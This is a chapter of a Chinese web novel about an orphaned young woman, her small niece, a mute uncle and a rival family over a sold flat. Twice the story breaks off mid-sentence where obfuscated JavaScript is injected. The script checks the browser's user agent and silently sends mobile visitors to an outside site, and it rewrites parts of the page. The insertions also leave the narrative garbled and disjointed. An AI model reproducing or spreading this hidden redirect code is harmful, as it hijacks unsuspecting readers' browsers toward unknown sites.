夫妻俩老来得子,宋乐洋哑巴的原因可能和他们当时身体素质有关。他也因此没比郑策大太多。 据妈妈说宋乐洋因为说不了话,很早就被放弃了。他性子也不服管教,很小的时候就搬出去住,和家里几乎断了联系,自生自灭。 所以她对这个舅舅了解并不多。 要是在大街上遇见这一看就是练家子的人,郑策估计会绕着道走。 没想到竟然是自己舅舅。 她秉持着对席警官的信任跟他走了。 出门的时候,恰好有一个少年举着强光手电筒匆匆赶来。 手电筒的光几乎照亮了半边天。 啧,什么毛病。 郑策抬手挡住晃在眼睛上的强光。 这缺德玩意儿,就跟夜晚行车,对向来车开着远光灯找抽一个德行。 在他关灯进屋前郑策才皱着眉看清这人的模样。 是骆远方的弟弟。 来领人的。 还拎着一盒保温饭盒。 骆乘光看见她似乎也惊讶了瞬,立刻又沉着一张驴脸踏进门。 “警察叔叔,我外婆做了饺子给大家。她问骆远方能不能多关几天,改造好了再放出去……” 天已经麻麻亮,但店铺都还没开张,药店门口的摇摇车无人问津,玻璃窗上大字写着“刷一口大白牙牙膏到店”的广告。 宋乐洋是哑巴,又和她几乎没见过几面,沉默地走在前面,肩宽腿长,像一座荒山。 还有一身掩饰不住的痞气。 郑策半警惕半试探地跟在他身后,反正也无处可去。 被拐了说不定比韩忠夏家过得舒坦点儿呢。 “哎。”她清了清嗓子,“你是,宋乐洋?” 宋乐洋转头,看了她半晌,埋头在手机上敲了几下,递给她: 要做DNA鉴定吗? 郑策说:“这,倒是不用。” 他拧着眉很快又打了一行字: 你自己看看你有什么值得骗的? 郑策埋头打量自己一番,忽然一挑眉,但声音有点虚:“……美貌?” 宋乐洋笑了笑,手机递过来,简单两个字: 跟上。 七拐八绕,面前竟然出现一个开了张的早餐店,蒸格周围白雾弥漫,热气腾腾。 猪肉白菜馅儿的包子。 郑策忽然才察觉自己好饿。 店里坐着的几乎都是赶早班的工人,或者刚下夜班的困人,眯着眼睛都快喂到鼻子里去了。 宋乐洋没问她意见,直接点了米线,包子,茶叶蛋,油条豆浆各一份,然后坐在对面看着她。 分明是吃早饭,郑策见他一脸冷漠,感觉像是断头饭。 “舅舅?” 其实单就哑巴这一项,郑策就差不多信了。 她就近捧过米线碗,用筷子搅拌了下,“你,怎么知道我在警察局?” 宋乐洋看她一眼,拿出手机点了几下。因为表情过于冻人,郑策以为他不想和自己说话。 吃了两口米线,忽然手机屏幕怼着自己脸递过来: 马家巷,我昨晚也在。 郑策尴尬地点了点头,实在不知道说什么,把“哦”字拉长了几秒,像是恍然大悟什么至理名言似的。 宋乐洋依旧面无表情,在手机上敲敲打打: 怎么一个人回来了?昨晚那个人什么情况? 郑策心里一惊。 看他样子,像是什么都不知道。 自打外公外婆去世,她们家搬走,想必姨妈家也没跟他有往来。 郑策不打算对他隐瞒,一五一十说了出来。 有些情节回忆起来太难受的,她就轻描淡写一句带过,坑坑巴巴,艰难地讲了十分钟。 饭桌上沉默了一会儿,宋乐洋在手机上打了又删,措辞很久,似乎是想安慰她,但业务不熟练。 郑策没所谓地笑笑,“过去了都,没事了。那你昨晚就在场,为什么……今早才来?” 宋乐洋抬眼看了眼她,又敲下几行字: 身份证丢了,领人要用,临时伪造了一个。 天知道这句话对法制咖郑策来说震撼有多大! 她吸溜进一口米粉压惊,竟然有些后怕。 “还好你没拿出来,不然今天换我去看你了。”她心有余悸地说。 宋乐洋虽然看着一脸不耐烦,但打字速度还行,对郑策也有问有答。 他提到郑策妈妈对自己很好,偶尔还会买衣服食物给他。 如果以后郑策混不下去,可以找他,会帮忙。 郑策不知道他说的帮忙指什么,单伪造证件这一项,配上宋乐洋一身气质,她就能联想到各种涉.黑.买卖,不敢恭维。 但转念一想,当个前呼后拥的社会姐,有种重操旧业的爽感。 她想着想着傻笑起来。 宋乐洋有些担忧地看着她,郑策连忙皱眉,严肃地吃了一口粉。 回去的时候屋里人还睡着,安静的院子相比昨晚摔锅砸碗的,亲切不少。 当然除了江蔚云,不会有人知道她彻夜未归。 既然宋熙偶尔会反抗,那为什么还是走不出去,郑策不能理解。 刚将车库帘子拉开半人高,她就有种做贼被抓的错觉。 一丝凉意爬上后背。 江蔚云裹着棉被坐在床上,像个小雪人,冷脸正对着门口,一言不发看着她。 “买了早点,饿了就吃,没饿再睡会儿。” 郑策笑着走过去,把豆浆油条放桌上,若无其事开始收拾。 她呆呆地看着窗外。昨晚的事像个梦境,天亮了,还有些恍惚。 离开马家巷,离开警察局,重新回到这个车库,一切平静的像是什么都没有发生。 但肋骨那儿还隐隐作痛,是昨晚一切都真实存在过的唯一证明。 爸妈因为还不上高利贷,选择了结生命,又担心她们活不下去,索性一起带走。 实话说,刚从房子里逃出来的时候,郑策脑子里只有愤怒。 凭什么替她们做决定。 简直懦弱又可恨。 江蔚云是她姐姐未婚先孕生下的,男方不肯负责,家里人也没有做任何控告。非常软弱。 他们欠下高利贷,察觉生活无望后,似乎都没做一丝挣扎。就放弃了,非常轻易。 她感到不甘。 既然都已经选择远离小镇出来闯,又怎么会如此不堪一击。 既然妈妈还在偷偷照顾弟弟妹妹,又怎么能说走就走。 操办葬礼的时候,她是麻木的。 偶尔想他们了会难过,但更多的是失望。 更深的是绝望。 把罪魁祸首送进去后她的使命似乎完成了。 但却没有新生的感觉。 反而更累,疲惫顺着寒风裹上全身,驱散不掉。 忽然郑策察觉到旁边的暖意,恍然回神。 “你跟在我后头干什么?” 她转身时差点踩江蔚云一脚,吓了一跳。“不睡就去把早饭趁热吃了。” 江蔚云不动,像个尾巴寸步不离跟着。忽然踮脚伸手在她兜里掏了掏,皱着小眉毛,有仇一样把水果刀丢在一边,还踢了一脚,刀滑进床下才罢休。 她闷声委屈道:“我以为你不要我了,把我丢给他们。” 郑策一怔,蹲下去摸她的脸,“昨晚不是说过了嘛,我……我逮着那个人了,被警察叔叔抓起来了,高兴不?” 江蔚云摇摇头,看见她手上的淤青,眼泪瞬间决堤了般,止都止不住,嚎啕大哭: “我不管他,我害怕你不要我了!” “哎哟。” 郑策连忙把她抱在怀里,在背上顺着气儿,“我要是把你也弄丢了,会真的以为自己是个扫把星的。” 江蔚云哭猛了,哽咽着抽抽了两下,艰难地嘟囔:“你不是。” “不会走的,会好的,会好的……”郑策叹了口气,轻声安抚她。 江蔚云贴着她的脸难受地蹭了蹭。 郑策笑着道:“哎哟,蹭我一脸水儿。” “好了,停!再哭该难受了,小嘴巴,闭起来。” 郑策抱紧怀里还在颤抖的江蔚云,好像断线的风筝被一小块儿石头给压住,微小的力气也让她暂时和这里有了联系。 要是没有这个小孩儿,她可能都坚持不到现在吧。 会好吗? 她也不知道。 但是。 会好的吧。 屋子里的人像是醒了,传来韩忠夏不耐烦的吼叫:“操!这空调又坏了,冻死个人。” 会好吗? 郑策看向窗外。 管他妈的,爱好不好。 “要跟骆淇说一声,告诉她把我赎出来了吗?” 骆远方坐在公园椅子上,和骆乘光排排坐等天亮。 这个时候回去,赶上起床气,定会让骆淇本不富裕的心情雪上加霜。 “把外婆哄回去了,自己在派出所安家,骆远方你可真行。” 骆乘光对自己跟他在这儿挨冻很不爽。 “饺子昨晚就做好了,非要我天亮了再送过来,外婆说一定要让你狗日的好看。” “你再骂一句试试。” “又不是我说的!” 北风萧瑟中,路过几个晨跑达人。 本以为这种天气不会有人坐在路边,但一不留神看见兄弟两人坐得大摇大摆,瞬间跟见鬼了似的,吓得跑出了高抬腿的气势来。 这声响,跟骑兵营过境一样。 骆远方无聊噘嘴,最后呼出一口气,看着瞬间在冷空气里凝结成的白雾楞了会儿。 利落地扣上外套帽子,拍拍冻入定的骆乘光。 “走,回去跪着。” 骆乘光斜他一眼,小声逼逼,“跪成兵马俑也没人救得了你。” 骆远方头也没回地说:“再在我背后鬼迷日眼,我拿502把你嘴粘起来。” 所幸的是,回去的时候没有预想中的天雷滚滚风雨欲来兵临城下。 反而因为有大舅的到来,分担去了一部分火力。 “远方回来啦?大舅专门过来看你,一走就是六个月,孩子也太不懂事了。” 见着骆远方一回来,李年肉眼可见的兴奋起来。 跟马戏团看猴戏开演了一个样子。 “大舅过年好舅妈过年好小孩儿过年好。” 骆远方不想被他八卦,直接进了厨房,骆淇在这儿瞪着开水壶发呆。 他又甜甜道: “外婆我回来了。” 骆淇横他一眼,“你谁啊?我告你强闯民宅信不信?” 骆远方从背后抱着她,撒娇道:“别老开这种玩笑,我都怕你真的傻了。” “今儿有人在,待会儿收拾你。” 骆淇还瞪他,“倒几杯水端出去。” “好嘞。” 骆远方殷勤接下任务,迟钝了下,又问,“那个……水杯放哪儿的?” “你是客人你是客人!” 骆淇立马转身在他胳膊上来了套组合巴掌,“哎哟,我这耳鸣都被你气出来了。” “您这老毛病了都。” 骆远方从骆淇手里接过水杯,可怜巴巴道:“喝水塞牙,睡觉腿抽筋,长白头发都怪我不听话。” “两人在厨房里叙起旧来了?” 此时,李年在门边凑过来,“远方还是孝顺啊,见不得外婆辛苦。以后外婆就靠你养老了啊。” “这不是她儿子不干事嘛。” 骆远方对这李年没好气,端着水杯往客厅走。“你还能靠么?嫁出去就忘了娘。” “嘿这小子,我来把今天刚带来的鲜猪肉冻起来。” 李年也不恼,嬉皮笑脸拿起案板上还没来得及规整的肉往冰箱送。 “冰箱坏了几百年了。” 骆淇说着又抱怨起来,“养个理科生,屁都不会修。” 骆远方在客厅里无奈:“哎哟外婆,这是普通高中生能干的活嘛?” 李年有些尴尬地楞在冰箱前,放下猪肉也不提修冰箱的事,转而道: “乘光是不是给你买了智能手机啊?你可得小心,网上骗子多了。这么大岁数人,就你赶潮流。” 骆乘光帮着把水递给舅妈和小孩儿,也在客厅喊了句:“我外婆乐意。” 骆淇有些得意:“我算着高铁站快修好了,开通后就可以学着买票出去玩儿。” “那高铁站从远方小学时候就开始修,还能通才见了鬼了。” 李年坐回沙发上给小孩儿剥橘子,嘴里还不歇气地气人。 “您还算,当年算得出来你女婿能入狱吗?” “嘭”的一声,骆乘光本来要进卧室,听到这句话反手摔上门。 人还在客厅站着,看向李年。 “你说什么呢。” 骆远方停下动作,看着手里的水杯,但语气里寒光乍现。 气氛一时像冻结的冰面,被铁锤敲开一条缝,裂缝随即噼里啪啦呈网状蔓延,碎裂在即。 “哎哟何必呢,知道这俩祖宗脾气不好,还提。” 骆淇向他们招招手,“还有事就回去吧,别在我这儿吵,心烦。” 李年也没打算久留,本就是过来看骆远方热闹的,冷笑一声就要走。 他老婆倒是面子功夫做的足,临走了还若无其事地招呼兄弟俩去家玩儿。 说着什么亲人哪有隔夜仇,都是一家人。 骆乘光不给谁面子,直接拒绝。她坚持着有空一定要去。没想到骆远方顿了会儿,直接说:“好啊,那等我一会儿。” 本来是客套话,这回答将李年一家僵在门口,走也不是,不走也不是。 “哎哟自作孽。” 骆淇看不下去,直接上手赶人,“走走走,新年快乐啊快乐!” 一关门,她转身看着俩孙子余怒未消,“生气了?” 骆远方往沙发上一躺,“我生什么气,又不是我养出来的败家子。” 骆淇嘿哟一声,正要发作,骆乘光拿着手机晃了晃,“有人要租这间卧室,但说是白天睡觉,晚上工作用。” “不租。” 骆淇果断拒绝,“这什么鬼迷日眼的作息,耽误我孙子读书,拒了。” “你这是招租啊,还是招保姆啊?要求这么严格呢。” 骆远方嘴欠接了句,差点又要挨一巴掌,立马投降,“我我我,我带了网球王子的画册给你当礼物!” 骆淇的巴掌停在半空,头往卧室偏了偏,冷酷道: “拿出来。” 骆远方和骆乘光住一间卧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“外婆给你们做的,趁热吃。” 三个一米八几大高个围着韩忠夏站,他瞬间有些腹背受敌的危机感,骂了一声,转身就要走。 “卧槽,我吃饱了撑的,大早上来这儿找晦气。” “慢走不送。” 骆远方坐在高脚凳上,背对着他挥挥手,“脸色有些不好看哦,阑尾老毛病了吧,积点德哈。” “操!” 韩忠夏本来想重重地把门摔回去,但前几天周全他们才在门上安了缓冲器,关门的速度如同闪电树懒说话。 非——常——缓——慢——且——非——常——礼——貌地合上了。 韩忠夏有种拉屎拉到一半,被迫夹断的屈辱感,回头狠狠瞪了他们一眼。 屋内的人楞了瞬,笑得前仰后合。 周全不屑道:“他这样的赌徒,放在以前,投机倒把罪就定死七.八百遍了。” “回去又被老太太按着揍了吧?”褚铭打开饭盒问。 “怎么又过来了?” “想你们了。” “滚滚滚,想我们就站门口。” 周全做了个欢迎光临的手势邀请他出去,“吸引些富婆来买东西。” 这龟儿子眼尖,忽然抓住骆远方的手腕大惊小怪,“歪哟,美女靠着睡觉,手都给捏红了,愣是一声不吭啊。” 骆远方棱他一眼,“人家叫郑策,别太轻浮。” “郑策,这个名字……”周全忽然陷入沉思。 “和我以前的名字一样。” 骆远方替他补足,不然按他脑容量,得纠结一下午。 “不对不对……”周全双手撑着下巴开启低配版思想者姿势。 褚铭忽然用胳膊肘撞了撞骆远方,下巴指向玻璃门外的人。 人果然不禁念叨。 顺着视线看出去,就看见郑策搓着手在一排出租信息旁边认真挑选。 栏杆上密密麻麻蚂蚁一样的租房信息,纸张泛黄,字迹潦草。 骆远方看着她苍蝇一样迅速搓手。 这是还没回去呢?还是又出来了? 真要租房? 在韩忠夏家住不下去了? 正午的阳光昏昏欲睡,风一吹,一点温度没有,街上人也稀稀拉拉的。 姨妈家里空调出了问题,郑策跟着爸爸修理过几回,一眼看出是管温传感器故障,得换一个阻值一样的,还要买电工胶布。 出门的时候姨妈说扫帚也坏了,让她带一个回去。 于是拿着把扫帚回去的路上,郑策又看见了租房信息,留心看了下。 信息是挺老的,打了几个电话过去都关机。 她再看了眼泛黄得快包浆的塑料硬壳,将手机揣回兜里,放弃打电话。 但还是抱着手臂不死心又看了会儿。 她不站这儿就没人看,她一站这儿,旁边立马也多出个小瘦子瞪着眼睛一排排浏览。 郑策没管他,正要走的时候,小瘦子脚下一绊,撞到她身上,连忙低三下四地鞠躬道歉。 “扒手。” 褚铭说,“这儿的惯犯。这小子我都认熟了。” 骆远方立马站起来,紧盯着外面一举一动。 “别去,人一直带着刀呢。” 褚铭拦了下,“她的狠劲儿跟我们不一样,昨天派出所你也听见了,人是经历了生死的。我们顶多在轻伤边缘徘徊,不是一个重量级的。” “嗯,她在这片儿混的时候,你们还在学校背唐诗呢。” 骆远方想起什么,笑了笑,转头看着褚铭,“挺可怜的,看我面子上,罩着点吧。” 骆远方说完就往外走。 还没出门,郑策手里的扫帚就风火轮一样旋转着,朝那扒手飞过去。 紧接着就是郑策气沉丹田的怒吼:“偷我手机?他妈包都给划破了,我操.你大爷!” “卧槽,又是她。” 周全被那人倒地的动静惊着,这才抬头看出去。 “她那棍棒功夫是不是练家子?漂亮啊……” “卧槽,远方你去哪儿?” 拦不住骆远方,周全忽然瞪大眼睛转头看褚铭,指着门外问。 “卧槽,是不是他小时候……” 褚铭看着他有些无奈地点了点头。 这人文化课及过格都对不起他这记性…… 那边郑策横拿扫帚抵在小瘦子下巴上,擒拿着他前进几步,将他压在墙上,不断抬高扫帚杆,一点没心软。 “手机。”她咬牙沉声道。 周全见骆远方已经走出去,跳了起来:“卧槽,新白娘子传奇吗?有缘千里来相会……卧槽卧槽,这确定是出去净化过的人儿吗?比我们还像个野蛮的土著。” “你他妈才野蛮土著……再说了,别人回老家,千里相会个屁啊。” 褚铭递给他一记眼刀,“你再跟个种狗一样乱.操,我马上阉了你。” 再看向门外,小瘦子并不怵郑策,脸上憋成猪肝色,还笑着。 手忽然伸进兜里摸索。 扒手哪有不带的刀。 但他手还没伸出来,就被骆远方一把摁了回去。 “可以了。这种人打不死就不会改,别让他记恨太深,跟狗皮膏药一样黏上就甩不掉了。” 他对郑策说。 “嘿,我以为谁这么清高呢?” 小瘦子啐了一口淤血,不死心道,“原来是劳改犯的儿子,继承你爸的衣钵,高利贷来钱快吧?” 气氛静了两秒。 骆远方忽然一脚朝他腰部踢去。“我去你妈的劳改犯。” 同一时间,郑策只是楞了瞬,一转扫帚柄,将小瘦子侧向放倒。 她并不关心骆远方是谁的儿子,只是被这样当中揭穿伤疤,真是畜生行径。 而骆远方这一脚力度不小,腹部内脏多,如果踢出个内出血,被讹上就不是做个全身检查那么简单了。 还有,骆远方的爸竟然是他妈放高利贷的? 一瞬间的功夫,郑策脑子里竟然考虑得如此周全。 她顺带又赞叹了自己一番。 智勇双全! “咚”的一声。 小瘦子在她提前推了一把的前提下,重重摔在地上。 7. 接过来一起住 小瘦子从地上爬起来,身上还粘着大不了同归于尽的架势。好在周全和褚铭从店里及时出来,不然这狗皮膏药能不能撕掉还真难说。 虽然一直知道老家这里治安一般,但郑策没想到一个扒手也能豁出去到这份上。 有些难以置信。 “好巧啊。”郑策抿唇笑了笑,俯身捡起还算顽强的扫帚,“多谢了。” 几声电流声响起,隔壁商铺忽然开躁:“开业大酬宾,满一百减五十,满两百减一百。买不了吃亏,买不了上当……” 骆远方不耐烦拧起眉毛,“我以前叫郑策,你真不认识我?” “啊?”郑策没想到对方忽然单刀直入,楞了瞬,忽然一拍大腿,“哎哟,长变了,没认出来,老同学!” 骆远方回以呵呵假笑,转身便把脸丧了起来。 “原来不记得了。走了。” 果然没认出来。 心情有些不爽啊。 不远处又一个音箱开机,声嘶力竭地呐喊:“老板跑啦!跳楼甩价!两天之后搬家啦!” 大有浙江温州,浙江温州,江南皮革厂倒闭啦的欢快节奏和风韵。 但骆远方还是在嘈杂的叫卖声中,清楚地听见了身后人低声呢喃: “我记得。” 他双手揣兜,垂着头又退了回去。 “记得什么?” 郑策没想到这么小声都被听见了,吓了一跳。 磕磕巴巴一阵,决定坦白从宽,“记得你小时候爱打架,又没钱买药,我把你捡回去一次,就赖上我了。” “还记得当时班里有个男生欺负女孩,我把他揍出鼻血了,不敢回家,你带着我去冶金厂坐了一夜……所以,我在警察局才敢靠着你睡一觉。” 郑策这时候脸皮薄,越说越小声,“因为你,不是随便哪个人。” “哦。”骆远方点点头。 郑策又说:“我以为你忘了,或者不想提,才没提我们认识……” 那他为什么没提呢? 当然是骆老大该死的自尊心在作祟啦。 骆远方摸摸鼻尖,“没事,你,回去吧……我也就,随便说说。” “随便?” 郑策音调又恢复底气,“那你继续随便吧,走了。” “诶,不是随便,就是尴尬,不知道怎么开口行了吧。”骆远方连忙拉住她。 郑策笑着转身,一脸心知肚明又问:“他们做扒手,为了一个手机,怎么敢做到这种程度?” “你的手机,也许是他们一个月的生活费。” 骆远方环顾了下四周,懒懒道。 “不是每个人都跟你们一样能走出去,有人没勇气,有人没资本。换各种方法,正道歪路,挣扎着还在原地的人多了去了。” 他松开郑策的手,好整以暇看着她,“所以,虽然不知道你发生了什么,这里没什么值得留恋的,修整好心情就走吧。” 走? 她又能走哪儿去? 回到姨妈家,又是灰头土脸的模样,吓得宋熙手里的抹布迫不及待寻找大地的怀抱。 “这是怎么了?买个东西被打了?” 韩忠夏闻声从他专属沙发椅上扭过头来,像个暮年偏瘫的智障。 “还真不是个省事的啊,我这脸上还火辣辣的疼,又去外面收拾谁了?” 郑策无视他把扫帚递给姨妈,“遇上个不要命的玩意儿偷我手机,送派出所去了,没大事。” 沙发那边冷笑一声,“动静闹挺大啊,我们家庙小,可容不得你这么折腾的。” 有些人就是傻到不会给自己留后路,韩忠夏以后貌似都不会正常说话了。 但郑策偏就赖在这儿,气死他。 修好空调,郑策挑韩忠夏上厕所的时候,去卧室找擦灰的宋熙打探。 “姨妈,外公外婆的那套房子还能住吗?” “啊?” 宋熙手上动作顿住,“应该,但是。这么久了……” 郑策还想追问,忽然间,韩忠夏就跟个发癫的炮仗,到处炸,一冲厕所裹着屎味儿就冲了出来。 “我爸妈待会儿要过来,你准备好点的午饭啊,不然又说我娶了个媳妇,什么都不会,丢人!” “老两口是不是知道股市大跌,过来问情况的?”宋熙忽然紧张起来。 “哪壶不开提哪壶呢你,快去买菜。”韩忠夏在宋熙背后推了把,宋熙一个踉跄没站稳,眼看头要磕上沙发脚,郑策赶紧一捞她胳膊,连忙扶住她。 她夹在宋熙和墙之间,借力才勉强稳住一个成年人倒下的重量,心下不满又斜了眼韩忠夏。 “哎哟,没一个省事的。”韩忠夏竟还痛心疾首扬长而去。 真是难为他了。 “没站稳。” 宋熙拍拍郑策的手,“你做自己的事去吧。” “他凭什么这么对你?”郑策忍不了了,“他什么都没付出,只想着得到,你看不出来吗?” “孩子还小,我没你妈有本事,走不了啊。”宋熙没看她,叹了口气去厨房拿菜篮。 郑策看着她背影,有一瞬愣神。 不是每个人都走得出去,更何况,宋熙一开始就没挣扎的勇气和机会。 比起那些扒手,宋熙,似乎更可悲一点吧。 宋熙哂笑了下,郑策没想到她是知道自己处境的。 像是一直清醒地在泥潭里躺着。 “就在这儿,生老病死,井底之蛙,就是我的一生。也许在你看来没用甚至窝囊,但我的人生对我还是有很大的意义呢……” 宋熙看着她,眼睛里全是悲伤,“你早就不适合这里了,能想到这些,就走吧。” 郑策有些心烦,知情的不知情的都在叫她走,说她不属于这儿。 她他妈的到底是谁,属于哪里,还要别人来评判吗。 郑策无言半晌,回过头去看沙发和墙角缝隙里的东西。 刚这一撞,她一偏头发现了不得了的东西。 本来还打算告诉他们,沙发缝里面不是你们夫妻俩看得比命重的金佛吗? 但她最后什么都没说。 午饭她也不想和这家人再挤。 郑策出门回了车库,背上一个铁盒子,牵着江蔚云也出了门,“走,带你去吃铺盖面,超级好吃。” 江蔚云似乎察觉到她状态不错,一路上话也不少,严肃地向郑策表示她以后不想当小卖部老板了。 “为什么?”郑策问。 江蔚云认真思考一阵,“开小卖部,只是吃辣条和泡面方便,没什么好处。” 她一脸郑重地看着郑策,脸侧两嘟婴儿肥也认真地鼓出来。 “我以后的梦想是当包租婆,你就住我的房子,谁也不敢给我们脸色看!” “小卖部也能赚钱,不用改。” 郑策笑着捏捏她的脸。“那我等你包养我啊。” 吃完饭她们并没着急回去,郑策带着江蔚云直接去了清北楼。 既然宋熙不肯明说,她还不能去瞅一眼房子是什么情况嘛。 这栋楼就在富乐九中对面,隔着一条马路。老式的挑廊结构,一楼楼道里堆着几年前的方轮自行车,一个发黑的古董油漆桶,还有些包浆的木条和棍棒。 走进这里时,有种穿越的错觉,灰尘的气息夹杂油烟味儿,好像下一秒外婆就会在窗口探出头,朝楼下喊她回家吃饭。 但走到二楼门口,这种错觉跟屁蹦了一样,消失得干干净净。 因为门口A4纸贴着几个大字:房内卧室招租,起步价一千,不讲价。 我靠。 这是哪个年代的黑心资本家。 她没急着敲门,先按上面的号码拨了过去。 屋内座机响了,没人接。 …… 既然留的是座机,那请问在家不直接开门,还要隔着一扇门打电话谈生意吗? 什么诡异的情.趣.爱.好? 这房子不隔音,紧接着,郑策又听见里面的脚步声,来来去去,非常嚣张。 偏就不接门口站着的人打的电话。 郑策耐心告罄,直接上手:“我知道里面有人,出来聊一下!” 她这嗓子气贯长虹,直接吼亮了五层楼的声控灯。 好在脚步声终于拖拖拉拉略带迟疑往门边移了过来。 开门的一瞬间,里外两人都本能地给予了对方最真切的问候。 骆乘光一手端着水杯,一手将头戴式耳机摘下挂在脖子上:“……我靠。” 郑策:“我……操?” 酒窝小男生。 她往骆乘光身后看了眼,“家里有人吗?” “没人,我不是人。” “……有,大人吗?” 郑策指了指招租信息,“这套房子我不知道卖给你们还是租给你们,但我应该是有权过问的。” 真的是来抢房子的! 骆乘光第一反应是把她打出去。 但余光里还有个小女孩一直用无辜又水灵的大眼睛看着自己,迟迟下不了决心。 就这犹豫了一下。 郑策在江蔚云背后拍了拍,江蔚云得令,小鱼儿一样溜着缝儿钻了进去。 在骆乘光怕挤着小孩微微侧身时,郑策脸上带着笑又礼貌地向里逼近。 阴险! “借过,谢谢……诶,我背着骨灰盒呢,别动手,洒你一屋不好收拾。” 什么? 骨灰盒?! 骆乘光连忙举起双手投降状。 “你是来干嘛的?”骆乘光皱着眉问。 “嗯,我带我爸妈回来看两眼。”郑策满脸无辜地看着他。 骆乘光道:“家里没其他人。” 骆远方下午在褚铭的金店打发时间,骆淇根本在家里闲不住。 他好不容易休息,趁着家里没人打扰,打算练练舞,就遇上这么一尊佛。 目测对方道行颇深,骆乘光深谙自己一个初中生应付不住。脑子里急忙找对策。 房间结构和家具摆设基本没变,郑策甚至熟练地给自己倒了杯水喝。 江蔚云像个小士兵,昂首挺胸一脸正气始终站在她前面两步,随时准备碰瓷骆乘光。 “认识我吧?我都认识你哥和你外婆。”郑策在厨房里视察。 “知道,但……房子的事我不清楚。买卖合同什么都合法合规,你少胡来。” 骆乘光拜读过她这两天的丰功伟绩,捏着手机想找机会打电话。 “嗯,那我等他们来了解情况,你打个电话吧。按理来说我们没同意,这房子卖不出去。” 郑策始终慢条斯理的,但一看就不像好人,她忽然哎呀一声,“冰箱漏水了。” “嗯。”骆乘光看过去,“早坏了,今天我插电用了下,没事……你干什么?!” 他瞪大眼睛跑过去,就看见郑策拔了插头,蹲在那儿端详,她转头望他。 “反正没事,帮你们修。” 她想了想,又道:“不要钱。工具箱有吗?” “……有。” 骆乘光忽然更加不知所措了,递给郑策工具箱,“你……会?” “理科生啊,基本素养。” 郑策瘦,几乎钻了半个身子进去,一只手摊开伸向背后。 “排水管那儿结冰,堵了,拿个梅花改刀,一字改刀。” 骆乘光忙递过去。 贴近了,郑策听见他耳机里的音乐,“bangbangbang?会跳街舞吗?” 骆乘光楞了楞,点点头。 “我喜欢ifyou一些。”郑策笑笑,“你跳舞应该很好看。” “……谢谢。” 有眼光。 忙活完这一切,骆乘光不知所措站在旁边,甚至想给郑策削个苹果,说声“辛苦了师傅,谢谢师傅。” 郑策坐在沙发上玩手机,不时看他一眼。 他个子比骆远方矮不了多少。脸上有几分稚气,瞳孔颜色是浅棕色,一身休闲服往那儿一站,有一股少年人的干净和挺拔。 她看了两眼骆乘光都想说“小兄弟不要客气,当自己家坐吧”。 郑策指着骆乘光对江蔚云说:“我外婆生前就爱站那哥哥的位置,跟他一样,往楼下看我们回家没有。” 骆乘光忙把头缩回来,一副吃屎的表情看着她。 郑策笑道:“每次外婆想逗我,骗我说爸妈回来了,就是这幅表情!” 骆乘光立马恢复面瘫状态。 他现在心里想的是楼下那两人要再不上来,他就跳下去得了。 发消息不回,打电话不接,在楼下搞什么地下接头呢! 好在夺命连环call下,骆淇终于回了电话过来。 骆乘光挂了电话,有些尴尬道:“那个,骆淇说不和你单独聊,下午去韩忠夏家,一起聊。” 郑策挑眉若有所思地点点头。 倒是会躲。 “行吧。”郑策耸耸肩,站起身。 “这件事虽然我们有些无理取闹,但你们也不是完全正确方,认真考虑考虑吧。” 目的差不多达成,她牵上江蔚云往外走,“云朵儿,走了。” 江蔚云路过骆乘光时,忽然停住,仰头看着他,端详了会儿,说:“哥哥你长得真好看。” “……” 骆乘光忽然发现自己没出息地吓出一声虚汗,咳嗽两下,“……谢谢。” “不用谢,哥哥再见!” 江蔚云继续说,“但是厕所的衣服要记得洗哦,还有碗池里的碗都堆了挺多了!” 骆乘光:这是来挑衅的吧?! 郑策干笑着,一把捂住她嘴巴,往外抱。 下楼时,郑策大有满载而归的气势,但心里又有些打鼓。 按理说她住了姨妈家,对这套房子睁一只眼闭一只眼也得了。 但想到卖房子的钱很可能给韩忠夏炒股,她就咽不下这口气。 虽然她有点儿白眼狼行径。 但农夫起码把蛇藏进自己怀里保暖,她和江蔚云住在车库,连门都还没进呢。 凭什么又该她忍气吞声,得过且过? 爸妈生前老是教导她退一步海阔天空,忍一时风平浪静。吃得了亏才合的了群。但她为了融入一个又一个群体,真的太累了。 忽然间就想被万众唾骂一次,随心所欲不计后果一回。 复读也没关系,无家可归也没关系,被嫌弃被欺负也没关系。 经验值不够就回炉重造,被人讨厌就换个朋友。 没关系的。 但想了这么多,心里还是忐忑得住了一合唱团的龚琳娜一样。 惴惴不安。 郑策不断给自己做心理建设,没注意到前脚刚出楼,后脚就有两团黑影,身手矫健上了楼。 “还以为你俩要和流浪狗抢窝呢?” 骆乘光瞪着两人,“舍得上来了?我就该马上把锁给换了。” “怎么样?”骆淇问,“她什么态度?” “仗着价钱便宜,装傻充愣买房子的时候没想过别人什么态度?” 骆远方也倒了杯水喝,刚吞下去就挨骆淇一记爆栗。 “当时不是为你们上学方便嘛!” “态度应该挺好?”骆乘光指了指正常运转的冰箱。 “把冰箱免费修好了……” 骆远方又被水给呛了下。 骆淇和宋熙约的是晚饭时间,不搞得太严肃,当做朋友聚餐。她们打算打亲情牌,两个孩子有什么可怵的。 临出门,骆淇又在家门口看见一果篮,旁边还有一灯管。 骆乘光一拍头,“她刚看见厨房灯管坏了一个,又觉得自己上门有些不礼貌,可能是赔礼用的?据说换这个很简单。” 骆乘光和骆淇看向唯一的理科生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812336|175302||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骆远方。 …… 骆远方就笑笑不说话。 但出门前,骆淇让骆远方给自己画了个战损妆。 果然宋熙一见就吓了几百跳。 “哎哟骆奶奶,这几天没睡好吗?黑眼圈重的,还有您这额头怎么回事?” 宋熙把最近吃枪药的韩忠夏支了出去,一个人在家里。 “她吃多了,晕炭的时候不小心撞的。” 骆远方凉凉补刀,对骆淇非要拉着自己来镇场子非常十分不愉快。 